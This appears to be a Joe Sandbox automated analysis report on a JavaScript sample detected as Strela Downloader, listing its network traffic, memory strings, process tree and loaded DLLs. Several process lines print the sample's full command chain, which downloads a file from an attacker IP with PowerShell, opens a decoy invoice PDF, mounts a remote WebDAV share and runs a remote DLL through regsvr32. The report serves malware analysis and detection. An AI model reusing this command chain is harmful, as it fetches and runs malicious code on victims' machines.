Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49758

Source: global traffic

TCP traffic: 192.168.2.9:49758 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49742 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1341853745.0000021385AAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1400960728.000001C2489F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1400960728.000001C248A2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/8
Source: net.exe, 00000007.00000002.1400960728.000001C248A2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/DX
Source: net.exe, 00000007.00000002.1400960728.000001C248A2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/p
Source: svchost.exe, 00000009.00000002.2623647638.0000026E168BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1404563035.0000026E1C000000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7456, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 305861283730376077.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7876

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7552:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v5sh5udr.cte.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 305861283730376077.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\305861283730376077.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1616,i,10526809432517051660,10063273319735876203,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1616,i,10526809432517051660,10063273319735876203,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
